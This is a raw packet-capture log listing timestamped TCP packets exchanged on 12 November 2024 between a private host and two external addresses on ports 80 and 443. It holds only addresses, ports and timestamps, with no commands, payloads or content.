Nov 12, 2024 15:42:21.147267103 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147275925 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147275925 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.147289038 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147315979 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.147361040 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.147365093 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:21.147398949 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.147411108 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147454977 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.147530079 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147568941 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.147583008 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147595882 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147622108 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.147629976 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147643089 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147650957 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147670031 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147675037 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.147680998 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147690058 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147692919 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.147700071 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147711039 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.147735119 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.147787094 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147799969 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147809029 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147818089 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147828102 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.147828102 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147840977 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147859097 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.147876978 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147881031 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.147891045 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147902012 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147903919 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.147912025 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.147919893 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.147931099 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.147968054 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.148433924 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.148580074 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.150552034 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:21.150564909 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.150654078 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:21.150656939 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.151032925 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:21.151036024 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.152424097 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152439117 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152446985 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152478933 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152478933 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.152488947 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152498007 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152514935 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.152530909 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.152542114 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152551889 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152560949 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152570963 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152585030 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.152590036 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152600050 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152604103 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.152611017 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152621031 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152631998 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152632952 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.152647972 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.152662992 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152673960 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.152678967 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152714014 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.152771950 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152787924 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152801037 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152813911 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.152837038 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.152863026 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152873993 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152882099 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152892113 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152913094 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.152918100 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152928114 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152930975 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.152936935 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.152955055 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.152980089 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.153028011 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.153044939 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.153053045 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.153063059 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.153073072 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.153076887 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.153085947 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.153095961 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.153100014 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.153119087 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.153126001 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.153767109 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.153814077 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.153868914 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.153881073 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.153891087 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.153899908 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.153909922 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.153914928 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.153920889 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.153937101 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.153949022 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.153959990 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.153971910 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.153980017 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.153990030 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.153999090 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.154000044 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.154011011 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.154021025 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.154021025 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.154032946 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.154047966 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.154056072 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.154078960 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.207488060 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.207499981 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.207509041 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.207576036 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.237164974 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.237178087 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.237188101 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.237265110 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.261658907 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.261671066 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.261682034 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.261701107 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.261713028 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.261718035 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.261739969 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.279397964 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.282546043 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:21.282577991 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.285826921 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.288182974 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:21.288193941 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.289968014 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:21.322774887 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.322788954 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.322797060 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.322846889 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.322880983 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.335336924 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.352274895 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.352287054 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.352297068 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.352333069 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.352355957 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.376727104 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.376739979 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.376795053 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.376887083 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.376899004 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.376914024 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.376924038 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.376941919 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.376956940 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.376986027 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.376993895 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.377029896 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.409282923 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.411401987 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:21.411431074 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.416479111 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.418589115 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:21.419511080 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.421420097 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:21.438129902 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.438152075 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.438158989 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.438359022 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.467338085 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.467474937 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.467489004 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.467498064 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.467530966 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.467552900 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.492207050 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.492218971 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.492228985 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.492238045 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.492249012 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.492259026 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.492268085 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.492286921 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.492310047 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.535895109 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.535907030 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.535993099 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.542659998 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.546932936 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:21.546961069 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.558373928 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.562690973 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:21.607341051 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.635149956 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.637717962 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:21.637731075 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.698195934 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.698218107 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.698230982 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.698240995 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.698245049 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.698251009 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.698271036 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.698278904 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.698282003 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.698292971 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.698298931 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.698301077 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.698309898 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.698309898 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.698321104 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.698332071 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.698333979 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.698359966 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.698378086 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.723823071 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.723861933 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.723875999 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.723886013 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.723917961 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.723931074 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.784882069 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.784905910 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.784915924 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.784925938 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.784936905 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.784948111 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.784975052 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.797409058 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.799762964 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:21.799797058 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.800095081 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.802200079 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:21.813256979 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.813276052 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.813302994 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.813337088 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.839014053 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.839068890 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.839083910 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.839114904 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.843336105 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.856019020 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.857737064 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:21.857758999 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:21.883507013 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.883518934 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.883528948 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.883560896 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.883591890 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.883635044 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.900368929 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.900382996 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.900393963 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.900435925 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.900471926 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.954174042 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.954197884 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.954206944 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.954221010 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.954241037 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.954265118 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.998805046 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.998883963 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.998892069 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.998894930 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:21.998930931 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:21.998930931 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.015445948 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.015456915 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.015467882 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.015479088 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.015506029 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.015557051 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.061150074 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.061234951 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.061264038 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.064308882 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.064322948 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.064846992 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.066663980 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.066678047 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.069456100 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.069467068 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.069474936 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.069494963 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.069509029 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.069515944 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.069518089 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.069540024 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.069540024 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.069576979 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.145348072 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.145402908 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.145486116 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.145498991 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.145510912 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.145524025 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.145534039 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.145576954 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.184845924 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.184910059 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.184921980 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.184925079 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.184933901 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.184943914 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.184962988 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.184962988 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.185008049 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.223839998 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.223915100 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.223934889 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.227304935 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.227319956 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.227377892 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.229268074 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.229286909 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.260663986 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.260678053 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.260683060 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.260689020 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.260694027 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.260699987 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.260843039 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.300126076 CET	80	49794	185.215.113.16	192.168.2.4
